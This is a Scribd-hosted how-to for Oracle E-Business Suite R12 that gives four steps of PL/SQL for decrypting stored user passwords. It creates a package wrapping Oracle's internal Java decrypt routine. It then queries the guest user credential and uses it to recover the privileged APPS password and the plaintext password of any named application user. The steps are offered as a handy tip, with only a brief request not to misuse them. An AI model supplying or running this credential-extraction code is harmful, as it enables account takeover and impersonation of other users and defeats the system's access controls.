0% found this document useful (0 votes)
120 views2 pages

Oracle Apps Encypted Password

This document outlines 4 steps to find the password of a user in Oracle Apps R12. It involves creating a package to decrypt passwords, querying the encrypted guest user password, and using that package to decrypt the encrypted password of the specified user. The steps create a decryption package, get the encrypted guest user password, decrypt it, then query the user table to decrypt and return the specified user's password.

Uploaded by

Kavita Patil
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
120 views2 pages

Oracle Apps Encypted Password

This document outlines 4 steps to find the password of a user in Oracle Apps R12. It involves creating a package to decrypt passwords, querying the encrypted guest user password, and using that package to decrypt the encrypted password of the specified user. The steps create a decryption package, get the encrypted guest user password, decrypt it, then query the user table to decrypt and return the specified user's password.

Uploaded by

Kavita Patil
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 2

Steps for finding password of a User in Oracle Apps R12

THIS WORKS WITH ORACLE R12


Here is a wonderful oracle seeded Procedure fnd_web_sec.get_guest_username_pwd which will help us to find out user password. Please use with this care and don't misuse this.

Kindly Follow the below mentioned steps:


Login to Apps user

Step 1:
--Package Specification CREATE OR REPLACE PACKAGE get_pwd AS FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2; END get_pwd;
/

Step 2:
--Package Body CREATE OR REPLACE PACKAGE BODY get_pwd AS FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.St ring) return java.lang.String'; END get_pwd; /

Step 3:
Query to get password for apps user.

SELECT

(SELECT get_pwd.decrypt (UPPER ((SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD')) FROM DUAL)), usertable.encrypted_foundation_password) FROM DUAL) AS apps_password FROM fnd_user usertable WHERE usertable.user_name LIKE UPPER ((SELECT SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD') ,1 , INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/') - 1 ) FROM DUAL)) Step 4: --Query for finding any application user SELECT usr.user_name, get_pwd.decrypt ((SELECT (SELECT get_pwd.decrypt (fnd_web_sec.get_guest_username_pwd, usertable.encrypted_foundation_password ) FROM DUAL) AS apps_password FROM fnd_user usertable WHERE usertable.user_name = (SELECT SUBSTR (fnd_web_sec.get_guest_username_pwd, 1, INSTR (fnd_web_sec.get_guest_username_pwd, '/' ) -1 ) FROM DUAL)), usr.encrypted_user_password ) PASSWORD FROM fnd_user usr WHERE usr.user_name = '&USER_NAME';

You might also like